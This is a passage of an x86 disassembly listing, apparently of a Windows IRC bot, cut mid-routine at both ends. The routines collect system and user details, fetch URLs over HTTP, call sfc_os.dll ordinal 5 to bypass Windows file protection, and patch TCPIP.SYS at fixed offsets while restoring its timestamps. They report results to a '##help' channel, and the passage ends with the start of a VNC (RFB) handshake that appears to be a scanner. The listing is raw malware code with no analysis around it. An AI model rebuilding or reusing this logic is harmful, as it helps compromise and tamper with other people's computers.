dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h Dst = byte ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch Drive = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7E8h push ebx push esi lea eax, [ebp+var_CC] push edi push eax mov [ebp+var_4], offset dword_4F4618 mov [ebp+var_CC], 94h call ds:dword_4F63D0 ; GetVersionExA xor ebx, ebx cmp [ebp+var_C8], 4 jnz short loc_41B9EB cmp [ebp+var_C4], ebx jnz short loc_41B9C7 cmp [ebp+var_BC], 1 jnz short loc_41B9B1 mov [ebp+var_4], offset a95_0 ; "95" loc_41B9B1: ; CODE XREF: sub_41B964+44j cmp [ebp+var_BC], 2 jnz loc_41BA66 mov [ebp+var_4], offset aNt_0 ; "NT" jmp short loc_41BA37 ; --------------------------------------------------------------------------- loc_41B9C7: ; CODE XREF: sub_41B964+3Bj cmp [ebp+var_C4], 0Ah jnz short loc_41B9D9 mov [ebp+var_4], offset a98_0 ; "98" jmp short loc_41BA2E ; --------------------------------------------------------------------------- loc_41B9D9: ; CODE XREF: sub_41B964+6Aj cmp [ebp+var_C4], 5Ah jnz short loc_41BA27 mov [ebp+var_4], offset aMe_1 ; "ME" jmp short loc_41BA2E ; --------------------------------------------------------------------------- loc_41B9EB: ; CODE XREF: sub_41B964+33j cmp [ebp+var_C8], 5 jnz short loc_41BA27 cmp [ebp+var_C4], ebx jnz short loc_41BA05 mov [ebp+var_4], offset a2k_0 ; "2K" jmp short loc_41BA2E ; --------------------------------------------------------------------------- loc_41BA05: ; CODE XREF: sub_41B964+96j cmp [ebp+var_C4], 1 jnz short loc_41BA17 mov [ebp+var_4], offset aXp_0 ; "XP" jmp short loc_41BA2E ; --------------------------------------------------------------------------- loc_41BA17: ; CODE XREF: sub_41B964+A8j cmp [ebp+var_C4], 2 mov [ebp+var_4], offset a2003 ; "2003" jz short loc_41BA2E loc_41BA27: ; CODE XREF: sub_41B964+7Cj ; sub_41B964+8Ej mov [ebp+var_4], offset a???_0 ; "???" loc_41BA2E: ; CODE XREF: sub_41B964+73j ; sub_41B964+85j ... cmp [ebp+var_BC], 2 jnz short loc_41BA66 loc_41BA37: ; CODE XREF: sub_41B964+61j cmp [ebp+var_B8], bl jz short loc_41BA66 lea eax, [ebp+var_B8] push eax lea eax, [ebp+Dest] push [ebp+var_4] push offset aSS_12 ; "%s (%s)" push eax ; Dest call _sprintf lea eax, [ebp+Dest] add esp, 10h mov [ebp+var_4], eax loc_41BA66: ; CODE XREF: sub_41B964+54j ; sub_41B964+D1j ... mov ax, word_4526B8 push 3Fh mov [ebp+var_25C], ax pop ecx xor eax, eax lea edi, [ebp+var_25A] rep stosd stosw mov eax, dword_4E4100 mov [ebp+var_C], 100h cmp eax, ebx jz short loc_41BA9F lea ecx, [ebp+var_C] push ecx lea ecx, [ebp+var_25C] push ecx call eax ; GetUserNameA loc_41BA9F: ; CODE XREF: sub_41B964+12Cj push [ebp+arg_4] call sub_40AFA9 pop ecx push eax call dword_4E4260 ; inet_addr mov [ebp+var_8], eax push 2 lea eax, [ebp+var_8] push 4 push eax call dword_4E41D8 ; gethostbyaddr cmp eax, ebx jz short loc_41BAC8 push dword ptr [eax] jmp short loc_41BACD ; --------------------------------------------------------------------------- loc_41BAC8: ; CODE XREF: sub_41B964+15Ej push offset aCouldnTResolve ; "couldn't resolve host" loc_41BACD: ; CODE XREF: sub_41B964+162j lea eax, [ebp+var_3E4] push eax ; Dest call _sprintf pop ecx lea eax, [ebp+FullPath] pop ecx push 104h push eax call ds:dword_4F637C ; GetSystemDirectoryA lea eax, [ebp+var_114] push 46h push eax push offset aDdMmmYyyy ; "dd:MMM:yyyy" push ebx mov esi, 409h push ebx push esi call ds:dword_4F640C ; GetDateFormatA lea eax, [ebp+var_15C] push 46h push eax push offset aHhMmSs_0 ; "HH:mm:ss" push ebx push ebx push esi call ds:dword_4F6408 ; GetTimeFormatA push 20h ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+Dst] push eax call ds:dword_4F649C ; GlobalMemoryStatus push ebx ; Ext push ebx ; Filename lea eax, [ebp+Drive] push ebx ; Dir push eax ; Drive lea eax, [ebp+FullPath] push eax ; FullPath call __splitpath lea eax, [ebp+Drive] push eax lea eax, [ebp+var_7E8] push eax call sub_4175D3 push 60h mov esi, eax pop ecx lea edi, [ebp+var_7E8] rep movsd push 60h lea esi, [ebp+var_7E8] pop ecx lea edi, [ebp+var_668] rep movsd push ebx call sub_41B7A7 add esp, 20h push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_114] push eax lea eax, [ebp+var_25C] push eax push [ebp+arg_4] call sub_40AFA9 pop ecx push eax lea eax, [ebp+var_3E4] push eax lea eax, [ebp+FullPath] push eax lea eax, [ebp+var_5E8] push [ebp+var_C0] push [ebp+var_C4] push [ebp+var_C8] push [ebp+var_4] push eax lea eax, [ebp+var_568] push eax mov eax, [ebp+var_2C] shr eax, 0Ah push ebx push eax call sub_4174C3 pop ecx pop ecx push eax mov eax, [ebp+var_30] shr eax, 0Ah push ebx push eax call sub_4174C3 pop ecx pop ecx push eax call sub_41B8A8 push edx push eax push offset asc_4526EC ; "-" push 200h ; Count push [ebp+arg_0] ; Dest call __snprintf mov eax, [ebp+arg_0] add esp, 50h pop edi pop esi pop ebx leave retn sub_41B964 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BC18 proc near ; CODE XREF: sub_401CC7+278Ep ; sub_401CC7+744Bp Dst = byte ptr -8Ch var_C = byte ptr -0Ch Dest = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8Ch push esi mov esi, 80h push esi ; Size lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst call _memset add esp, 0Ch cmp dword_4E4308, 0 jnz short loc_41BC84 push 0 lea eax, [ebp+Dst] push esi push eax lea eax, [ebp+var_C] push eax call dword_4E40E4 ; InternetGetConnectedStateEx test eax, eax jnz short loc_41BC6D lea eax, [ebp+Dst] push offset aNotConnected ; "Not connected" push eax ; Dest call _sprintf pop ecx pop ecx loc_41BC6D: ; CODE XREF: sub_41BC18+40j test [ebp+var_C], 1 jz short loc_41BC7A push offset aDialUp ; "Dial-up" jmp short loc_41BC7F ; --------------------------------------------------------------------------- loc_41BC7A: ; CODE XREF: sub_41BC18+59j push offset off_4527E0 loc_41BC7F: ; CODE XREF: sub_41BC18+60j lea eax, [ebp+Dest] jmp short loc_41BC9F ; --------------------------------------------------------------------------- loc_41BC84: ; CODE XREF: sub_41BC18+28j lea eax, [ebp+Dest] push offset aNA ; "N/A" push eax ; Dest call _sprintf pop ecx lea eax, [ebp+Dst] pop ecx push offset aNA_0 ; "N/A" loc_41BC9F: ; CODE XREF: sub_41BC18+6Aj push eax ; Dest call _sprintf pop ecx pop ecx push [ebp+arg_4] push [ebp+arg_8] call sub_40AFA9 pop ecx push eax lea eax, [ebp+Dst] push eax lea eax, [ebp+Dest] push eax push offset asc_4527EC ; "-" push 200h ; Count push [ebp+arg_0] ; Dest call __snprintf mov eax, [ebp+arg_0] add esp, 1Ch pop esi leave retn sub_41BC18 endp ; =============== S U B R O U T I N E ======================================= sub_41BCDA proc near ; CODE XREF: sub_41B8A8:loc_41B8B0p ; sub_41B8A8+1Cp rdtsc retn sub_41BCDA endp ; --------------------------------------------------------------------------- loc_41BCDD: ; DATA XREF: sub_401CC7+7869o push ebp mov ebp, esp sub esp, 65Ch mov eax, [ebp+8] push ebx push esi push edi push 65h mov esi, eax pop ecx lea edi, [ebp-35Ch] rep movsd push 1 mov edi, 80h pop esi xor ebx, ebx mov [eax+190h], esi push edi lea eax, [ebp-148h] push ebx push eax mov [ebp-0Ch], ebx mov [ebp-4], ebx mov dword ptr [ebp-8], offset dword_452830 call _memset push edi lea eax, [ebp-1C8h] push ebx push eax call _memset push edi lea eax, [ebp-0C8h] push ebx push eax call _memset push 100h lea eax, [ebp-65Ch] push ebx push eax call _memset push 3Ch lea eax, [ebp-48h] pop edi push edi push ebx push eax call _memset add esp, 3Ch lea eax, [ebp-48h] mov [ebp-48h], edi mov [ebp-34h], esi push eax lea eax, [ebp-358h] push ebx push eax mov [ebp-28h], esi mov [ebp-20h], esi mov [ebp-18h], esi call _strlen pop ecx push eax lea eax, [ebp-358h] push eax call dword_4E411C ; InternetCrackUrlA test eax, eax jz loc_41BE77 cmp [ebp-34h], ebx jbe short loc_41BDB4 push dword ptr [ebp-34h] lea eax, [ebp-148h] push dword ptr [ebp-38h] push eax call _strncpy add esp, 0Ch loc_41BDB4: ; CODE XREF: .text:0041BD9Dj cmp [ebp-28h], ebx movzx esi, word ptr [ebp-30h] jbe short loc_41BDD2 push dword ptr [ebp-28h] lea eax, [ebp-1C8h] push dword ptr [ebp-2Ch] push eax call _strncpy add esp, 0Ch loc_41BDD2: ; CODE XREF: .text:0041BDBBj cmp [ebp-20h], ebx jbe short loc_41BDEC push dword ptr [ebp-20h] lea eax, [ebp-0C8h] push dword ptr [ebp-24h] push eax call _strncpy add esp, 0Ch loc_41BDEC: ; CODE XREF: .text:0041BDD5j cmp [ebp-18h], ebx jbe short loc_41BE06 push dword ptr [ebp-18h] lea eax, [ebp-65Ch] push dword ptr [ebp-1Ch] push eax call _strncpy add esp, 0Ch loc_41BE06: ; CODE XREF: .text:0041BDEFj push ebx push ebx lea eax, [ebp-0C8h] push 3 push eax lea eax, [ebp-1C8h] push eax lea eax, [ebp-148h] push esi push eax push dword_4E41D0 call dword_4E41F4 ; InternetConnectA mov esi, eax cmp esi, ebx jz short loc_41BE8F push ebx lea eax, [ebp-8] push 200h push eax lea eax, [ebp-2D8h] push eax lea eax, [ebp-65Ch] push ebx push eax push ebx push esi call dword_4E41E8 ; HttpOpenRequestA cmp eax, ebx mov [ebp-4], eax jz short loc_41BE96 push ebx push ebx push ebx push ebx push eax call dword_4E4194 ; HttpSendRequestA test eax, eax jz short loc_41BE70 push offset dword_4528AC jmp short loc_41BE9B ; --------------------------------------------------------------------------- loc_41BE70: ; CODE XREF: .text:0041BE67j push offset unk_4528C8 jmp short loc_41BE9B ; --------------------------------------------------------------------------- loc_41BE77: ; CODE XREF: .text:0041BD94j lea eax, [ebp-55Ch] push offset dword_452834 push eax call _sprintf mov esi, [ebp-0Ch] pop ecx pop ecx jmp short loc_41BEA9 ; --------------------------------------------------------------------------- loc_41BE8F: ; CODE XREF: .text:0041BE30j push offset unk_452850 jmp short loc_41BE9B ; --------------------------------------------------------------------------- loc_41BE96: ; CODE XREF: .text:0041BE58j push offset unk_45287C loc_41BE9B: ; CODE XREF: .text:0041BE6Ej ; .text:0041BE75j ... lea eax, [ebp-55Ch] push eax call _sprintf pop ecx pop ecx loc_41BEA9: ; CODE XREF: .text:0041BE8Dj cmp [ebp-1D4h], ebx jnz short loc_41BED4 push ebx lea eax, [ebp-55Ch] push dword ptr [ebp-1D0h] push eax lea eax, [ebp-258h] push eax push dword ptr [ebp-35Ch] call sub_409D6C add esp, 14h loc_41BED4: ; CODE XREF: .text:0041BEAFj lea eax, [ebp-55Ch] push eax call sub_415C77 pop ecx push esi call dword_4E4254 ; InternetCloseHandle push dword ptr [ebp-4] call dword_4E4254 ; InternetCloseHandle push dword ptr [ebp-1D8h] call sub_40BAAA pop ecx push ebx call ds:dword_4F63D4 ; ExitThread pop edi pop esi pop ebx ; --------------------------------------------------------------------------- db 9 dup(0CCh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 18h lea eax, [ebp-0Ch] push eax mov ecx, [ebp+8] push ecx call sub_43B91C mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jnz short loc_41BF33 xor eax, eax jmp loc_41C062 ; --------------------------------------------------------------------------- loc_41BF33: ; CODE XREF: .text:0041BF2Aj mov edx, [ebp-4] push edx call _malloc add esp, 4 mov [ebp-10h], eax cmp dword ptr [ebp-10h], 0 jnz short loc_41BF4F xor eax, eax jmp loc_41C062 ; --------------------------------------------------------------------------- loc_41BF4F: ; CODE XREF: .text:0041BF46j mov eax, [ebp-10h] push eax mov ecx, [ebp-4] push ecx mov edx, [ebp-0Ch] push edx mov eax, [ebp+8] push eax call sub_43B916 test eax, eax jnz short loc_41BF7B mov ecx, [ebp-10h] push ecx call _free add esp, 4 xor eax, eax jmp loc_41C062 ; --------------------------------------------------------------------------- loc_41BF7B: ; CODE XREF: .text:0041BF66j lea edx, [ebp-14h] push edx lea eax, [ebp-8] push eax push offset asc_452904 ; "\\" mov ecx, [ebp-10h] push ecx call sub_43B910 test eax, eax jz loc_41C054 mov edx, [ebp-8] mov eax, [edx+0Ch] shr eax, 10h and eax, 0FFFFh cmp eax, 0A28h jnz loc_41C054 mov ecx, [ebp-8] mov edx, [ecx+0Ch] and edx, 0FFFFh and edx, 0FFFFh mov [ebp-18h], edx cmp dword ptr [ebp-18h], 0A7Dh jg short loc_41BFED cmp dword ptr [ebp-18h], 0A7Dh jz short loc_41C031 cmp dword ptr [ebp-18h], 884h jz short loc_41BFF8 cmp dword ptr [ebp-18h], 9C9h jz short loc_41C01E jmp short loc_41C044 ; --------------------------------------------------------------------------- loc_41BFED: ; CODE XREF: .text:0041BFCEj cmp dword ptr [ebp-18h], 0B4Ch jz short loc_41C00B jmp short loc_41C044 ; --------------------------------------------------------------------------- loc_41BFF8: ; CODE XREF: .text:0041BFE0j mov eax, [ebp-10h] push eax call _free add esp, 4 mov eax, 1 jmp short loc_41C062 ; --------------------------------------------------------------------------- loc_41C00B: ; CODE XREF: .text:0041BFF4j mov ecx, [ebp-10h] push ecx call _free add esp, 4 mov eax, 2 jmp short loc_41C062 ; --------------------------------------------------------------------------- loc_41C01E: ; CODE XREF: .text:0041BFE9j mov edx, [ebp-10h] push edx call _free add esp, 4 mov eax, 3 jmp short loc_41C062 ; --------------------------------------------------------------------------- loc_41C031: ; CODE XREF: .text:0041BFD7j mov eax, [ebp-10h] push eax call _free add esp, 4 mov eax, 4 jmp short loc_41C062 ; --------------------------------------------------------------------------- loc_41C044: ; CODE XREF: .text:0041BFEBj ; .text:0041BFF6j mov ecx, [ebp-10h] push ecx call _free add esp, 4 xor eax, eax jmp short loc_41C062 ; --------------------------------------------------------------------------- loc_41C054: ; CODE XREF: .text:0041BF93j ; .text:0041BFACj mov edx, [ebp-10h] push edx call _free add esp, 4 xor eax, eax loc_41C062: ; CODE XREF: .text:0041BF2Ej ; .text:0041BF4Aj ... mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 94h lea eax, [ebp-94h] mov dword ptr [ebp-94h], 94h push eax call ds:dword_4F63D0 ; GetVersionExA cmp dword ptr [ebp-90h], 5 jnz short loc_41C0B1 cmp dword ptr [ebp-8Ch], 1 jnz short loc_41C0B1 lea eax, [ebp-80h] push offset a2 ; "2" push eax call _strstr pop ecx test eax, eax pop ecx jz short loc_41C0B1 push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_41C0B1: ; CODE XREF: .text:0041C08Dj ; .text:0041C096j ... xor eax, eax leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 104h push dword ptr [ebp+8] lea eax, [ebp-104h] push offset aS_bck ; "%s.bck" push eax call _sprintf add esp, 0Ch lea eax, [ebp-104h] push 0 push eax push dword ptr [ebp+8] call ds:dword_4F6398 ; CopyFileA neg eax sbb eax, eax neg eax leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C0EF proc near ; CODE XREF: .text:0041C213p var_200 = byte ptr -200h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+var_200] push 100h push eax push 0FFFFFFFFh push [ebp+arg_0] push 0 push 0 call ds:dword_4F6488 ; MultiByteToWideChar push offset aSfc_os_dll ; "sfc_os.dll" call ds:dword_4F63C0 ; LoadLibraryA push 5 push eax call ds:dword_4F63C4 ; GetProcAddress lea ecx, [ebp+var_200] push 0FFFFFFFFh push ecx push 0 call eax ; GetUserNameA leave retn sub_41C0EF endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 3B0h mov eax, [ebp+8] push ebx push esi push edi push 46h mov esi, eax pop ecx lea edi, [ebp-1B0h] rep movsd push 1 xor ebx, ebx pop esi mov dword ptr [ebp-60h], offset asc_452920 ; "L" push esi mov [eax+114h], esi mov dword ptr [ebp-5Ch], offset dword_452924 mov dword ptr [ebp-58h], offset dword_452928 mov dword ptr [ebp-54h], offset dword_4F4628 mov dword ptr [ebp-50h], offset dword_45292C mov dword ptr [ebp-4Ch], offset dword_452930 mov dword ptr [ebp-48h], offset dword_4F462C mov dword ptr [ebp-44h], offset dword_4F4630 mov dword ptr [ebp-80h], offset dword_452934 mov dword ptr [ebp-7Ch], offset dword_452938 mov dword ptr [ebp-78h], offset dword_45293C mov dword ptr [ebp-74h], offset dword_4F4634 mov dword ptr [ebp-70h], offset dword_452940 mov dword ptr [ebp-6Ch], offset dword_452944 mov dword ptr [ebp-68h], offset dword_4F4638 mov dword ptr [ebp-64h], offset dword_4F463C mov dword ptr [ebp-34h], offset dword_452948 mov dword ptr [ebp-30h], offset dword_45294C mov dword ptr [ebp-40h], offset dword_452950 mov dword ptr [ebp-3Ch], offset dword_452954 mov dword ptr [ebp-38h], offset dword_452958 mov [ebp-4], ebx call _malloc mov [ebp-8], eax mov [ebp-0Ch], ebx mov dword ptr [esp], 7530h call ds:dword_4F6380 ; Sleep lea eax, [ebp-1A8h] push eax call sub_41C0EF pop ecx mov edi, 80h lea eax, [ebp-1A8h] push edi push eax call ds:dword_4F639C ; SetFileAttributesA push ebx push edi push 3 push ebx push esi lea eax, [ebp-1A8h] push 80000000h push eax call ds:dword_4F63F4 ; CreateFileA mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_41C26E lea eax, [ebp-90h] push eax lea eax, [ebp-98h] push eax lea eax, [ebp-88h] push eax push edi call ds:dword_4F647C ; GetFileTime push edi call ds:dword_4F6370 ; CloseHandle loc_41C26E: ; CODE XREF: .text:0041C249j lea eax, [ebp-1A8h] push offset dword_45295C push eax call _fopen pop ecx cmp eax, ebx pop ecx mov [ebp+8], eax jnz short loc_41C2C5 push dword ptr [ebp-0A4h] lea eax, [ebp-3B0h] push offset aCanNotOpenTcpi ; "Can not open TCPIP.SYS, version %d." push 200h push eax call __snprintf lea eax, [ebp-3B0h] push eax call sub_415C77 push dword ptr [ebp-1ACh] call sub_40BAAA add esp, 18h push ebx call ds:dword_4F63D4 ; ExitThread loc_41C2C5: ; CODE XREF: .text:0041C286j mov eax, [ebp-0A4h] dec eax jz loc_41C49A dec eax jz loc_41C3ED dec eax jz loc_41C36A dec eax jnz loc_41C53E mov dword ptr [ebp-2Ch], 130h mov dword ptr [ebp-28h], 4F5A2h xor edi, edi loc_41C2F7: ; CODE XREF: .text:0041C32Ej push ebx push dword ptr [ebp+edi-2Ch] push dword ptr [ebp+8] call _fseek push dword ptr [ebp+8] push esi push esi push dword ptr [ebp-8] call sub_41EFA0 push esi push dword ptr [ebp+edi-40h] push dword ptr [ebp-8] call _strncmp add esp, 28h test eax, eax jnz short loc_41C328 inc dword ptr [ebp-4] loc_41C328: ; CODE XREF: .text:0041C323j add edi, 4 cmp edi, 0Ch jl short loc_41C2F7 cmp dword ptr [ebp-4], 3 jge loc_41C53E mov [ebp-0Ch], esi xor edi, edi loc_41C33F: ; CODE XREF: .text:0041C363j push ebx push dword ptr [ebp+edi-2Ch] push dword ptr [ebp+8] call _fseek push dword ptr [ebp+8] push esi push esi push dword ptr [ebp+edi-40h] call sub_421FE0 add edi, 4 add esp, 1Ch cmp edi, 0Ch jl short loc_41C33F jmp loc_41C53E ; --------------------------------------------------------------------------- loc_41C36A: ; CODE XREF: .text:0041C2DAj mov dword ptr [ebp-2Ch], 130h mov dword ptr [ebp-28h], 4F322h xor edi, edi loc_41C37A: ; CODE XREF: .text:0041C3B1j push ebx push dword ptr [ebp+edi-2Ch] push dword ptr [ebp+8] call _fseek push dword ptr [ebp+8] push esi push esi push dword ptr [ebp-8] call sub_41EFA0 push esi push dword ptr [ebp+edi-34h] push dword ptr [ebp-8] call _strncmp add esp, 28h test eax, eax jnz short loc_41C3AB inc dword ptr [ebp-4] loc_41C3AB: ; CODE XREF: .text:0041C3A6j add edi, 4 cmp edi, 8 jl short loc_41C37A cmp dword ptr [ebp-4], 2 jge loc_41C53E mov [ebp-0Ch], esi xor edi, edi loc_41C3C2: ; CODE XREF: .text:0041C3E6j push ebx push dword ptr [ebp+edi-2Ch] push dword ptr [ebp+8] call _fseek push dword ptr [ebp+8] push esi push esi push dword ptr [ebp+edi-34h] call sub_421FE0 add edi, 4 add esp, 1Ch cmp edi, 8 jl short loc_41C3C2 jmp loc_41C53E ; --------------------------------------------------------------------------- loc_41C3ED: ; CODE XREF: .text:0041C2D3j mov dword ptr [ebp-2Ch], 130h mov dword ptr [ebp-28h], 131h mov dword ptr [ebp-24h], 132h mov dword ptr [ebp-20h], 133h mov dword ptr [ebp-1Ch], 4F5A2h mov dword ptr [ebp-18h], 4F5A3h mov dword ptr [ebp-14h], 4F5A4h mov dword ptr [ebp-10h], 4F5A5h xor edi, edi loc_41C427: ; CODE XREF: .text:0041C45Ej push ebx push dword ptr [ebp+edi-2Ch] push dword ptr [ebp+8] call _fseek push dword ptr [ebp+8] push esi push esi push dword ptr [ebp-8] call sub_41EFA0 push esi push dword ptr [ebp+edi-80h] push dword ptr [ebp-8] call _strncmp add esp, 28h test eax, eax jnz short loc_41C458 inc dword ptr [ebp-4] loc_41C458: ; CODE XREF: .text:0041C453j add edi, 4 cmp edi, 20h jl short loc_41C427 cmp dword ptr [ebp-4], 8 jge loc_41C53E mov [ebp-0Ch], esi xor edi, edi loc_41C46F: ; CODE XREF: .text:0041C493j push ebx push dword ptr [ebp+edi-2Ch] push dword ptr [ebp+8] call _fseek push dword ptr [ebp+8] push esi push esi push dword ptr [ebp+edi-80h] call sub_421FE0 add edi, 4 add esp, 1Ch cmp edi, 20h jl short loc_41C46F jmp loc_41C53E ; --------------------------------------------------------------------------- loc_41C49A: ; CODE XREF: .text:0041C2CCj mov dword ptr [ebp-2Ch], 130h mov dword ptr [ebp-28h], 131h mov dword ptr [ebp-24h], 132h mov dword ptr [ebp-20h], 133h mov dword ptr [ebp-1Ch], 4F322h mov dword ptr [ebp-18h], 4F323h mov dword ptr [ebp-14h], 4F324h mov dword ptr [ebp-10h], 4F325h xor edi, edi loc_41C4D4: ; CODE XREF: .text:0041C50Bj push ebx push dword ptr [ebp+edi-2Ch] push dword ptr [ebp+8] call _fseek push dword ptr [ebp+8] push esi push esi push dword ptr [ebp-8] call sub_41EFA0 push esi push dword ptr [ebp+edi-60h] push dword ptr [ebp-8] call _strncmp add esp, 28h test eax, eax jnz short loc_41C505 inc dword ptr [ebp-4] loc_41C505: ; CODE XREF: .text:0041C500j add edi, 4 cmp edi, 20h jl short loc_41C4D4 cmp dword ptr [ebp-4], 8 jge short loc_41C53E mov [ebp-0Ch], esi xor edi, edi loc_41C518: ; CODE XREF: .text:0041C53Cj push ebx push dword ptr [ebp+edi-2Ch] push dword ptr [ebp+8] call _fseek push dword ptr [ebp+8] push esi push esi push dword ptr [ebp+edi-60h] call sub_421FE0 add edi, 4 add esp, 1Ch cmp edi, 20h jl short loc_41C518 loc_41C53E: ; CODE XREF: .text:0041C2E1j ; .text:0041C334j ... push dword ptr [ebp+8] call _fclose pop ecx lea eax, [ebp-1A8h] push ebx push 80h push 3 push ebx push 2 push 40000000h push eax call ds:dword_4F63F4 ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_41C58E lea eax, [ebp-90h] push eax lea eax, [ebp-98h] push eax lea eax, [ebp-88h] push eax push esi call ds:dword_4F6478 ; SetFileTime push esi call ds:dword_4F6370 ; CloseHandle loc_41C58E: ; CODE XREF: .text:0041C569j cmp [ebp-0Ch], ebx jz short loc_41C5DC push dword ptr [ebp-0A4h] lea eax, [ebp-3B0h] push offset aTcpip_sysFixed ; "TCPIP.SYS fixed, version %d." push 200h push eax call __snprintf push ebx lea eax, [ebp-3B0h] push dword ptr [ebp-0A0h] push eax push offset aHelp ; "##help" push dword ptr [ebp-1B0h] call sub_409D6C lea eax, [ebp-3B0h] push eax call sub_415C77 add esp, 28h loc_41C5DC: ; CODE XREF: .text:0041C591j push dword ptr [ebp-1ACh] mov dword_4401F0, ebx call sub_40BAAA pop ecx push ebx call ds:dword_4F63D4 ; ExitThread ; =============== S U B R O U T I N E ======================================= sub_41C5F5 proc near ; CODE XREF: sub_401CC7+5189p arg_0 = dword ptr 4 push esi push 100h ; Size mov esi, offset byte_4F4644 push 0 ; Val push esi ; Dst call _memset add esp, 0Ch push [esp+4+arg_0] push offset aS_32 ; "%s" push 0FFh ; Count push esi ; Dest call __snprintf add esp, 10h pop esi retn sub_41C5F5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C624(int,char *Str,int) sub_41C624 proc near ; CODE XREF: sub_41C76A+1A8p ; sub_41C76A+1C5p ... var_14 = byte ptr -14h var_C = byte ptr -0Ch var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h push esi push edi mov esi, offset dword_4F4748 lea edi, [ebp+var_C] mov ax, word_4529A8 movsd movsb mov esi, offset dword_4F4750 lea edi, [ebp+var_14] mov [ebp+var_2], ax mov ax, word_4529AC movsd mov [ebp+var_6], ax mov ax, word_4F4744 movsw mov [ebp+var_4], ax mov eax, [ebp+arg_8] xor esi, esi cmp eax, esi jnz loc_41C6F0 mov edi, [ebp+arg_0] push ebx mov ebx, [ebp+Str] mov [ebp+arg_8], esi loc_41C676: ; CODE XREF: sub_41C624+C7j mov eax, [ebp+arg_8] sub eax, esi jz short loc_41C696 dec eax jnz short loc_41C6E4 push esi lea eax, [ebp+var_2] push 1 push eax push edi call dword_4E4270 ; send push esi push 1 lea eax, [ebp+var_4] jmp short loc_41C6AA ; --------------------------------------------------------------------------- loc_41C696: ; CODE XREF: sub_41C624+57j push esi lea eax, [ebp+var_2] push 1 push eax push edi call dword_4E4270 ; send push esi push 1 lea eax, [ebp+var_6] loc_41C6AA: ; CODE XREF: sub_41C624+70j push eax push edi call dword_4E4270 ; send push ebx ; Str call _strlen pop ecx cmp eax, 2 push esi jnz short loc_41C6C6 push 4 lea eax, [ebp+var_C] jmp short loc_41C6CB ; --------------------------------------------------------------------------- loc_41C6C6: ; CODE XREF: sub_41C624+99j push 5 lea eax, [ebp+var_14] loc_41C6CB: ; CODE XREF: sub_41C624+A0j push eax push edi call dword_4E4270 ; send push esi push ebx ; Str call _strlen pop ecx push eax push ebx push edi call dword_4E4270 ; send loc_41C6E4: ; CODE XREF: sub_41C624+5Aj inc [ebp+arg_8] cmp [ebp+arg_8], 1 jle short loc_41C676 pop ebx jmp short loc_41C766 ; --------------------------------------------------------------------------- loc_41C6F0: ; CODE XREF: sub_41C624+42j dec eax jz short loc_41C70F dec eax jnz short loc_41C766 mov edi, [ebp+arg_0] push esi lea eax, [ebp+var_2] push 1 push eax push edi call dword_4E4270 ; send push esi push 1 lea eax, [ebp+var_4] jmp short loc_41C726 ; --------------------------------------------------------------------------- loc_41C70F: ; CODE XREF: sub_41C624+CDj mov edi, [ebp+arg_0] push esi lea eax, [ebp+var_2] push 1 push eax push edi call dword_4E4270 ; send push esi push 1 lea eax, [ebp+var_6] loc_41C726: ; CODE XREF: sub_41C624+E9j push eax push edi call dword_4E4270 ; send push [ebp+Str] ; Str call _strlen pop ecx cmp eax, 2 push esi jnz short loc_41C744 push 4 lea eax, [ebp+var_C] jmp short loc_41C749 ; --------------------------------------------------------------------------- loc_41C744: ; CODE XREF: sub_41C624+117j push 5 lea eax, [ebp+var_14] loc_41C749: ; CODE XREF: sub_41C624+11Ej push eax push edi call dword_4E4270 ; send push esi push [ebp+Str] ; Str call _strlen pop ecx push eax push [ebp+Str] push edi call dword_4E4270 ; send loc_41C766: ; CODE XREF: sub_41C624+CAj ; sub_41C624+D0j pop edi pop esi leave retn sub_41C624 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C76A proc near ; DATA XREF: .data:004493CCo var_288 = dword ptr -288h Dst = byte ptr -88h var_48 = word ptr -48h var_46 = word ptr -46h var_44 = dword ptr -44h var_38 = byte ptr -38h var_28 = byte ptr -28h Dest = byte ptr -20h Str2 = byte ptr -1Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = byte ptr -0Ch Str = byte ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_14 = byte ptr 1Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h arg_B0 = dword ptr 0B8h push ebp mov ebp, esp sub esp, 288h push ebx push esi push edi mov esi, offset aRfb003_008 ; "RFB 003.008\n" lea edi, [ebp+var_38] mov ax, word_4529C4 movsd movsd movsd movsb mov esi, offset dword_4529C0 lea edi, [ebp+Str2] movsw movsb mov esi, offset dword_4F4758 lea edi, [ebp+var_28] movsd movsb mov esi, offset dword_4529CC lea edi, [ebp+var_10] movsw movsb mov esi, offset dword_4529D0 lea edi, [ebp+var_14] movsw movsb mov esi, offset dword_4529D4 lea edi, [ebp+var_C] movsw movsb mov word ptr [ebp+Str], ax mov ax, word_4529C8 xor esi, esi 